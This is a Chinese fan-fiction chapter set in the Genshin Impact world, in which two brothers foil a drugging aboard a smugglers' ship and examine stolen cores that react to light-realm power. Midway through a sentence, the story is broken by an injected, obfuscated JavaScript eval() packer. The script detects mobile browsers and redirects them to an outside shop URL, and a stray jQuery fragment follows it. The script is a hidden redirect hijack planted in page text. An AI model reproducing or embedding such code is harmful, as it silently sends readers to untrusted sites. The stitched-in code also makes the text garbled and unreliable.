船上没那么好的条件,头目送过来的杯子是木质的,从杯口看上去,里面像是用日落果榨的果汁,橙黄色液体上还点缀着一点薄荷。
未成年不能饮酒,也难为他们这帮走私犯还尊重法律不给未成年酒水。
月见里清也盯着装饰用途的那一点绿,心里有些嫌弃。
可眼下情况容不得他嫌弃,月见里清也绷住面上的神情,迟疑片刻后接过杯子,低声开口说:“谢谢。”
他语气有些紧绷,抬眸迅速扫了一眼头目又收回视线,加上那副隐忍的表情,怎么看都是一个少年人吵了架又不想先低头认错的模样。
头目没想那么多,他的年龄比月见里清也大了一旬还要多,自认为对付这种心思全摆在脸上的小孩手拿把掐的。
“船上厨师水平有限,不如岸上的,所以吩咐多放了些糖。”头目说着又善解人意的补了一句,“你要喝不惯,让他们重做一杯就好。”
多加糖究竟是为了调和味道还是中和药物的苦昧,这点月见里清也和头目都心知肚明。
月见里清也没应声,沉默地扯出一抹笑,看上去十分勉强,他也没有想与头目搭话的意思,只盯着杯子愣神。
见气氛尴尬,头目主动开口:“兄弟之间有争执很正常,消消气一会再说开了就好。”
而月见里清也左耳朵进右耳朵出,时不时敷衍两句“你说得对”,心思放在长桌另一头,正聚在一起吃饭的船员身上。
他被热水烫到的那只手搭在桌子边缘,手腕自然从桌沿垂下,桌子遮挡住了他指尖一闪而过的雷光。
头目见他兴致缺缺,也不再自讨没趣,反正自己过来的目的就是为了看着月见里清也喝下那杯加了毒药的果汁而已。
只见月见里清也端起那杯果汁,在嘴唇碰到杯口的前一刻,他忽然停下了动作,像是在饮料中嗅到了什么,抬眸看了自己一眼。
努力维持着和蔼笑容的头目心里一紧,不明白月见里清也为什么要看自己。
但这好像是月见里清也无意中的举动,他扫了一眼头目就收回视线,继续喝着手里的果汁。
头目这口气刚松没几秒,然而就在这时,长桌的另一头突然爆发出激烈的争执,几个船员推搡在一起,颇有动手的意思。
这几人闹出的动静不小,月见里清也的注意力也被吸引走,酒杯又故技重施的僵在唇边没有动作,也不知道他到底喝还是没喝。
头目:……
他在心里狠狠地叹了口气,恨不得上前亲自把这杯果汁给月见里清也灌进去。
头目没办法,只能跟着月见里清也看向那边。几人喝了酒,口齿有些不清,即便如此并不妨碍月见里清也从争执声中拼凑出缘由——一人觉得对方碰到自己,而被指控的一方坚定否认自己没有这么做,双方争执不下,酒精上头,几人才闹了起来。
眼看这群人越来越无法无天,头目只能亲自上前阻止,在离去的前一秒他又回头扫了一眼月见里清也。杯子已经被月见里清也拿开些许,杯中液体没有明显下降,一看就没喝。
头目在心里搜肠刮肚,想在提醒月见里清也一二,但他也知道,不论说什么都太过刻意。
“领队去忙吧,不用顾虑我。您说得对。不论什么争执,说开了就好,等会我会去找我哥。”月见里清也忽然开口,说完他又当着头目的面,拿起那杯饮品,老老实实的喝完。
头目听这话如听天籁,见状放下心,点点头离去。
月见里清也抿了抿唇,酒精的辛辣感在嘴里挥之不去,他趁着这会船舱太乱起身离开,在即将走出餐厅时听到一句“那个手欠的把我酒换成果汁了?!”
这句话夹杂在争吵声中,没几个人在意。趁头目注意力转移将两杯饮品掉包的月见里清也嘴角一勾,先返回头目为他们安排的房间甩掉盯梢的船员,再悄无声息的潜入商船的货舱。
在货舱看守的船员已经被月见里凪和尽数打晕,与其说月见里清也是潜行进来,不如说是光明正大的走进来的。
跟月见里清也吵架后,先一步回房间休息的月见里凪和此刻靠在船舱的墙壁上,看着悠闲遛弯的月见里清也:“来的太慢了。”
“找机会掉包他送过来的‘礼物’也需要时间。”月见里清也说着看了看在门口躺的横七竖八的守卫,笑着说,“真是辛苦哥哥了。”
月见里凪和不吃他这一套,“那伙人给你送的什么东西?”
月见里清也回道:“一杯加了药的日落果果汁。药性不烈,把一整杯喝下去估计也要等到凌晨药效才会发作。”
他伸手打开一个货箱,发现里面装的是压重的沙土,撇了撇嘴,继续说:“我弄出了一点动静,把果汁和旁边人的酒调了个包。真是奇了,竟然有人会用薄荷和水火调酒,又辣又凉。”
月见里凪和跟在他身后,看着月见里清也随机开了一个又一个的箱子,还没找到自己要的,索性继续靠在墙上看他忙活,听着他絮絮叨叨的说话。
月见里凪和没发表对薄荷配水火酒的看法,但对月见里清也的话句句有回应,表示自己有在听。
靠外的箱子放的都是压沉的沙土石块,少部分是瓷器和空箱子,月见里清也翻了几个箱子后直接往里走,察觉到声音越来越远,回头看过去。
“怎么?”察觉到月见里清也的视线,月见里凪和问道。
“你打算就这么靠在这里看着我忙活吗?”月见里清也眼神幽怨的盯着他。
月见里凪和比自己早进来,他不信在自己到来之前月见里凪和就这么靠在门口等着自己来。
所以他宁愿看着自己瞎忙活,也不打算告诉自己真正的货物在哪里。
“你知道你现在看起来像什么吗?”月见里凪和没接话,反而问了一个毫不相关的问题,见月见里清也摇头,他才说,“一只追着自己尾巴乱转的狐狸。”
月见里清也:“……”
“说真的,我亲爱的哥哥。”月见里清也本想往货箱上靠,看见自己手套的尘土放弃了这个想法,“要不是现在不能浪费时间,我真的很想跟你认真的探讨一下我在你眼里到底是个什么形象。”
“大概是一个……”月见里凪和故意顿了顿,看着月见里清也眼中越来越好奇的眼神,话锋骤然一转,“不,没什么,干活。”
“……”月见里清也嘴唇动了动,看上去很想说些什么,硬生生憋了回去。
货舱越往里走越黑,月见里清也拿出随身带的手电,不再看着挨个开箱查看,手上放出一点元素力,跟着元素力的流动走到堆放在最里面的箱子前。
他刚把箱子掀开一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099635|176541||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
条缝隙,一只手突然伸出,不由分说地按住箱子,把那点缝隙重新盖上。
箱子猛地盖上激起尘土,月见里清也向后一避,不解地看着他哥。
“那伙走私犯把从遗迹挖出来的东西拆了,留在这里的应该是某种器械的核心部分,的确如你所说,对元素力有极高的亲和性。”月见里凪和半眯起眼盯着月见里清也,“但你也能看出来,这东西不仅仅对元素力有亲和性。”
“不愧是哥哥。”月见里清也夸奖顺嘴就来,“这就是我叫你来的原因,我怀疑这东西其实更亲和光界力。”
他说着想让月见里凪和打开箱子,可月见里凪和没动,既不自己打开箱子,也不让月见里清也打开,只是微微抬了抬下巴:“继续说。”
“挪德卡莱的月落银本就是极为亲和元素力,是绝佳的元素力导体。这东西在挪德卡莱也不难买,为什么要废这么大的劲从沙漠遗迹里挖那些早就报废的元能机关,又把器械拆了只带核心回去?”月见里清也说,“这些不知名的核心带回去,也不见得会被当地工匠购买。所以,是有人花了高价雇佣他们走私的。”
提瓦特总共三种力量,被世人熟知并且能被神之眼持有者操控的元素力,还有与元素力类似但并不是同一概念的光界力,以及深渊所代表的虚界力。
“至于我是怎么知道它对光界力有亲和力的……”月见里清也指尖冒出一点莹白色的流光,再次示意月见里凪和打开箱子。
箱子刚掀起一点缝隙,月见里清也将那点流光送进去,箱子里堆放着的核心顿时亮起的光芒。月见里清也骤然收手,流光消失不见,核心的光芒也跟着黯淡下去。
他如法炮制,只不过这次换成了水元素力,核心只亮起了微弱的光芒,他耸了耸肩:“看吧。”
光界力与元素力是两种相同但又完全不同的东西,月见里清也在降神计划通过无相使为正机之神供能时,就是直接从核心抽取的力量。那时的月见里凪和能感觉出来,比起教令院抽取梦境转化出来的元素力,从月见里清也身体抽出来的力量更原始,也更霸道。
这也是在最后他能够通过灌输能量来强行逼自己启动【刹那生灭·将至】的原因。
当时的月见里凪和还连接着世界树,自然轻而易举的弄清楚了月见里清也身体里储存着的能量是什么。
“一个能够储存光界力,在使用时能够凭心意转换元素力,甚至还能转化深渊。”月见里凪和说,“不要说深渊,这世上没有人能抵挡住这种诱惑。”
毕竟谁也不说不准,神樱核心被污染后会不会反向转化,将里面存储的能量转为深渊力。
“那你呢?”
“我的核心跟你的神樱核心融为一体,这就是我的‘东西’。”月见里凪和说着话时直直地盯着月见里清也,也不知道是在说核心还是在说月见里清也这个人。
月见里清也意味不明的哼笑一声,歪了歪头,指尖点了点箱子:“话题偏了,眼下我们要考虑的是,到底是谁向这伙走私犯预定了这批货物,他要亲和光界力的装置是想干什么?”
“不管幕后那位究竟想干什么,你免不了要去一趟挪德卡莱吧。”
月见里清也叹了口气,“好吧,我本来打算过完海灯节再跟你说的。海灯节后,我打算去一趟挪德卡莱。”